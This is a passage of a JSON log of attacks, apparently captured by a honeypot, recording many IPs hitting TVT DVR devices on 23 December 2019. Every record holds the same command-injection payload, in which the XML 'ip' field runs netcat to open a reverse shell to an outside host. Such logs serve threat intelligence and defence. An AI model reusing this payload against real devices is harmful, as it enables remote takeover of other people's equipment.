  1394.       "source_ip_address": "81.196.131.15",
  1395.       "country": "RO",
  1396.       "user_agent": "Help",
  1397.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1398.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1399.       "target_port": 80,
  1400.       "protocol": "tcp",
  1401.       "tags": [
  1402.         {
  1403.           "cve": "",
  1404.           "category": "IoT",
  1405.           "description": "TVT (Generic OEM) DVR RCE"
  1406.         }
  1407.       ],
  1408.       "event_count": 6,
  1409.       "first_seen": "2019-12-23T08:27:47Z",
  1410.       "last_seen": "2019-12-23T08:27:47Z"
  1411.     },
  1412.     {
  1413.       "source_ip_address": "176.120.32.32",
  1414.       "country": "UA",
  1415.       "user_agent": "Help",
  1416.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1417.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1418.       "target_port": 8080,
  1419.       "protocol": "tcp",
  1420.       "tags": [
  1421.         {
  1422.           "cve": "",
  1423.           "category": "IoT",
  1424.           "description": "TVT (Generic OEM) DVR RCE"
  1425.         }
  1426.       ],
  1427.       "event_count": 38,
  1428.       "first_seen": "2019-12-23T08:26:45Z",
  1429.       "last_seen": "2019-12-23T08:26:45Z"
  1430.     },
  1431.     {
  1432.       "source_ip_address": "118.46.214.184",
  1433.       "country": "KR",
  1434.       "user_agent": "Help",
  1435.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1436.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1437.       "target_port": 80,
  1438.       "protocol": "tcp",
  1439.       "tags": [
  1440.         {
  1441.           "cve": "",
  1442.           "category": "IoT",
  1443.           "description": "TVT (Generic OEM) DVR RCE"
  1444.         }
  1445.       ],
  1446.       "event_count": 6,
  1447.       "first_seen": "2019-12-23T08:25:28Z",
  1448.       "last_seen": "2019-12-23T08:25:28Z"
  1449.     },
  1450.     {
  1451.       "source_ip_address": "114.32.249.185",
  1452.       "country": "TW",
  1453.       "user_agent": "Help",
  1454.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1455.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1456.       "target_port": 8080,
  1457.       "protocol": "tcp",
  1458.       "tags": [
  1459.         {
  1460.           "cve": "",
  1461.           "category": "IoT",
  1462.           "description": "TVT (Generic OEM) DVR RCE"
  1463.         }
  1464.       ],
  1465.       "event_count": 12,
  1466.       "first_seen": "2019-12-23T08:03:16Z",
  1467.       "last_seen": "2019-12-23T08:03:16Z"
  1468.     },
  1469.     {
  1470.       "source_ip_address": "203.106.200.190",
  1471.       "country": "MY",
  1472.       "user_agent": "Help",
  1473.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1474.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1475.       "target_port": 88,
  1476.       "protocol": "tcp",
  1477.       "tags": [
  1478.         {
  1479.           "cve": "",
  1480.           "category": "IoT",
  1481.           "description": "TVT (Generic OEM) DVR RCE"
  1482.         }
  1483.       ],
  1484.       "event_count": 1,
  1485.       "first_seen": "2019-12-23T08:02:35Z",
  1486.       "last_seen": "2019-12-23T08:02:35Z"
  1487.     },
  1488.     {
  1489.       "source_ip_address": "187.202.60.143",
  1490.       "country": "MX",
  1491.       "user_agent": "Help",
  1492.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1493.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1494.       "target_port": 80,
  1495.       "protocol": "tcp",
  1496.       "tags": [
  1497.         {
  1498.           "cve": "",
  1499.           "category": "IoT",
  1500.           "description": "TVT (Generic OEM) DVR RCE"
  1501.         }
  1502.       ],
  1503.       "event_count": 2,
  1504.       "first_seen": "2019-12-23T08:02:09Z",
  1505.       "last_seen": "2019-12-23T08:02:09Z"
  1506.     },
  1507.     {
  1508.       "source_ip_address": "59.125.188.199",
  1509.       "country": "TW",
  1510.       "user_agent": "Help",
  1511.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1512.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1513.       "target_port": 8000,
  1514.       "protocol": "tcp",
  1515.       "tags": [
  1516.         {
  1517.           "cve": "",
  1518.           "category": "IoT",
  1519.           "description": "TVT (Generic OEM) DVR RCE"
  1520.         }
  1521.       ],
  1522.       "event_count": 1,
  1523.       "first_seen": "2019-12-23T07:48:38Z",
  1524.       "last_seen": "2019-12-23T07:48:38Z"
  1525.     },
  1526.     {
  1527.       "source_ip_address": "186.96.211.134",
  1528.       "country": "TT",
  1529.       "user_agent": "Help",
  1530.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1531.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1532.       "target_port": 80,
  1533.       "protocol": "tcp",
  1534.       "tags": [
  1535.         {
  1536.           "cve": "",
  1537.           "category": "IoT",
  1538.           "description": "TVT (Generic OEM) DVR RCE"
  1539.         }
  1540.       ],
  1541.       "event_count": 12,
  1542.       "first_seen": "2019-12-23T07:36:46Z",
  1543.       "last_seen": "2019-12-23T07:36:46Z"
  1544.     },
  1545.     {
  1546.       "source_ip_address": "103.253.105.37",
  1547.       "country": "MY",
  1548.       "user_agent": "Help",
  1549.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1550.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1551.       "target_port": 8000,
  1552.       "protocol": "tcp",
  1553.       "tags": [
  1554.         {
  1555.           "cve": "",
  1556.           "category": "IoT",
  1557.           "description": "TVT (Generic OEM) DVR RCE"
  1558.         }
  1559.       ],
  1560.       "event_count": 6,
  1561.       "first_seen": "2019-12-23T07:33:20Z",
  1562.       "last_seen": "2019-12-23T07:33:20Z"
  1563.     },
  1564.     {
  1565.       "source_ip_address": "122.116.240.165",
  1566.       "country": "TW",
  1567.       "user_agent": "Help",
  1568.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1569.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1570.       "target_port": 8080,
  1571.       "protocol": "tcp",
  1572.       "tags": [
  1573.         {
  1574.           "cve": "",
  1575.           "category": "IoT",
  1576.           "description": "TVT (Generic OEM) DVR RCE"
  1577.         }
  1578.       ],
  1579.       "event_count": 6,
  1580.       "first_seen": "2019-12-23T07:05:00Z",
  1581.       "last_seen": "2019-12-23T07:05:00Z"
  1582.     },
  1583.     {
  1584.       "source_ip_address": "219.76.181.82",
  1585.       "country": "HK",
  1586.       "user_agent": "Help",
  1587.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1588.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1589.       "target_port": 8080,
  1590.       "protocol": "tcp",
  1591.       "tags": [
  1592.         {
  1593.           "cve": "",
  1594.           "category": "IoT",
  1595.           "description": "TVT (Generic OEM) DVR RCE"
  1596.         }
  1597.       ],
  1598.       "event_count": 6,
  1599.       "first_seen": "2019-12-23T06:59:41Z",
  1600.       "last_seen": "2019-12-23T06:59:41Z"
  1601.     },
  1602.     {
  1603.       "source_ip_address": "182.191.76.252",
  1604.       "country": "PK",
  1605.       "user_agent": "Help",
  1606.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1607.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1608.       "target_port": 80,
  1609.       "protocol": "tcp",
  1610.       "tags": [
  1611.         {
  1612.           "cve": "",
  1613.           "category": "IoT",
  1614.           "description": "TVT (Generic OEM) DVR RCE"
  1615.         }
  1616.       ],
  1617.       "event_count": 9,
  1618.       "first_seen": "2019-12-23T06:47:54Z",
  1619.       "last_seen": "2019-12-23T06:47:54Z"
  1620.     },
  1621.     {
  1622.       "source_ip_address": "122.117.120.250",
  1623.       "country": "TW",
  1624.       "user_agent": "Help",
  1625.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1626.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1627.       "target_port": 80,
  1628.       "protocol": "tcp",
  1629.       "tags": [
  1630.         {
  1631.           "cve": "",
  1632.           "category": "IoT",
  1633.           "description": "TVT (Generic OEM) DVR RCE"
  1634.         }
  1635.       ],
  1636.       "event_count": 3,
  1637.       "first_seen": "2019-12-23T06:43:42Z",
  1638.       "last_seen": "2019-12-23T06:43:42Z"
  1639.     },
  1640.     {
  1641.       "source_ip_address": "186.251.47.200",
  1642.       "country": "BR",
  1643.       "user_agent": "Help",
  1644.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1645.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1646.       "target_port": 80,
  1647.       "protocol": "tcp",
  1648.       "tags": [
  1649.         {
  1650.           "cve": "",
  1651.           "category": "IoT",
  1652.           "description": "TVT (Generic OEM) DVR RCE"
  1653.         }
  1654.       ],
  1655.       "event_count": 17,
  1656.       "first_seen": "2019-12-23T06:43:11Z",
  1657.       "last_seen": "2019-12-23T06:43:11Z"
  1658.     },
  1659.     {
  1660.       "source_ip_address": "189.226.84.206",
  1661.       "country": "MX",
  1662.       "user_agent": "Help",
  1663.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1664.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1665.       "target_port": 8000,
  1666.       "protocol": "tcp",
  1667.       "tags": [
  1668.         {
  1669.           "cve": "",
  1670.           "category": "IoT",
  1671.           "description": "TVT (Generic OEM) DVR RCE"
  1672.         }
  1673.       ],
  1674.       "event_count": 38,
  1675.       "first_seen": "2019-12-23T06:40:54Z",
  1676.       "last_seen": "2019-12-23T06:40:54Z"
  1677.     },
  1678.     {
  1679.       "source_ip_address": "109.110.139.58",
  1680.       "country": "HU",
  1681.       "user_agent": "Help",
  1682.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1683.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1684.       "target_port": 8080,
  1685.       "protocol": "tcp",
  1686.       "tags": [
  1687.         {
  1688.           "cve": "",
  1689.           "category": "IoT",
  1690.           "description": "TVT (Generic OEM) DVR RCE"
  1691.         }
  1692.       ],
  1693.       "event_count": 38,
  1694.       "first_seen": "2019-12-23T06:38:03Z",
  1695.       "last_seen": "2019-12-23T06:38:03Z"
  1696.     },
  1697.     {
  1698.       "source_ip_address": "5.2.143.125",
  1699.       "country": "RO",
  1700.       "user_agent": "Help",
  1701.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1702.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1703.       "target_port": 8080,
  1704.       "protocol": "tcp",
  1705.       "tags": [
  1706.         {
  1707.           "cve": "",
  1708.           "category": "IoT",
  1709.           "description": "TVT (Generic OEM) DVR RCE"
  1710.         }
  1711.       ],
  1712.       "event_count": 3,
  1713.       "first_seen": "2019-12-23T06:26:28Z",
  1714.       "last_seen": "2019-12-23T06:26:28Z"
  1715.     },
  1716.     {
  1717.       "source_ip_address": "50.199.180.57",
  1718.       "country": "US",
  1719.       "user_agent": "Help",
  1720.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1721.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1722.       "target_port": 8080,
  1723.       "protocol": "tcp",
  1724.       "tags": [
  1725.         {
  1726.           "cve": "",
  1727.           "category": "IoT",
  1728.           "description": "TVT (Generic OEM) DVR RCE"
  1729.         }
  1730.       ],
  1731.       "event_count": 1,
  1732.       "first_seen": "2019-12-23T05:52:42Z",
  1733.       "last_seen": "2019-12-23T05:52:42Z"
  1734.     },
  1735.     {
  1736.       "source_ip_address": "189.223.231.146",
  1737.       "country": "MX",
  1738.       "user_agent": "Help",
  1739.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1740.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1741.       "target_port": 80,
  1742.       "protocol": "tcp",
  1743.       "tags": [
  1744.         {
  1745.           "cve": "",
  1746.           "category": "IoT",
  1747.           "description": "TVT (Generic OEM) DVR RCE"
  1748.         }
  1749.       ],
  1750.       "event_count": 2,
  1751.       "first_seen": "2019-12-23T05:19:10Z",
  1752.       "last_seen": "2019-12-23T05:19:10Z"
  1753.     },
  1754.     {
  1755.       "source_ip_address": "86.158.95.28",
  1756.       "country": "GB",
  1757.       "user_agent": "Help",
  1758.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1759.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1760.       "target_port": 8080,
  1761.       "protocol": "tcp",
  1762.       "tags": [
  1763.         {
  1764.           "cve": "",
  1765.           "category": "IoT",
  1766.           "description": "TVT (Generic OEM) DVR RCE"
  1767.         }
  1768.       ],
  1769.       "event_count": 2,
  1770.       "first_seen": "2019-12-23T05:02:48Z",
  1771.       "last_seen": "2019-12-23T05:02:48Z"
  1772.     },
  1773.     {
  1774.       "source_ip_address": "96.76.66.161",
  1775.       "country": "US",
  1776.       "user_agent": "Help",
  1777.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1778.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1779.       "target_port": 80,
  1780.       "protocol": "tcp",
  1781.       "tags": [
  1782.         {
  1783.           "cve": "",
  1784.           "category": "IoT",
  1785.           "description": "TVT (Generic OEM) DVR RCE"
  1786.         }
  1787.       ],
  1788.       "event_count": 1,
  1789.       "first_seen": "2019-12-23T04:55:15Z",
  1790.       "last_seen": "2019-12-23T04:55:15Z"
  1791.     },
  1792.     {
  1793.       "source_ip_address": "73.143.106.124",
  1794.       "country": "US",
  1795.       "user_agent": "Help",
  1796.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1797.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1798.       "target_port": 8000,
  1799.       "protocol": "tcp",
  1800.       "tags": [
  1801.         {
  1802.           "cve": "",
  1803.           "category": "IoT",
  1804.           "description": "TVT (Generic OEM) DVR RCE"
  1805.         }
  1806.       ],
  1807.       "event_count": 11,
  1808.       "first_seen": "2019-12-23T04:36:28Z",
  1809.       "last_seen": "2019-12-23T04:36:28Z"
  1810.     },
  1811.     {
  1812.       "source_ip_address": "60.48.39.96",
  1813.       "country": "MY",
  1814.       "user_agent": "Help",
  1815.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1816.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1817.       "target_port": 88,
  1818.       "protocol": "tcp",
  1819.       "tags": [
  1820.         {
  1821.           "cve": "",
  1822.           "category": "IoT",
  1823.           "description": "TVT (Generic OEM) DVR RCE"
  1824.         }
  1825.       ],
  1826.       "event_count": 3,
  1827.       "first_seen": "2019-12-23T04:29:11Z",
  1828.       "last_seen": "2019-12-23T04:29:11Z"
  1829.     },
  1830.     {
  1831.       "source_ip_address": "175.143.148.98",
  1832.       "country": "MY",
  1833.       "user_agent": "Help",
  1834.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  1835.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  1836.       "target_port": 80,
  1837.       "protocol": "tcp",
  1838.       "tags": [
  1839.         {
  1840.           "cve": "",
  1841.           "category": "IoT",
  1842.           "description": "TVT (Generic OEM) DVR RCE"
  1843.         }
  1844.       ],
  1845.       "event_count": 2,
  1846.       "first_seen": "2019-12-23T04:29:04Z",
  1847.       "last_seen": "2019-12-23T04:29:04Z"
  1848.     },
  1849.     {
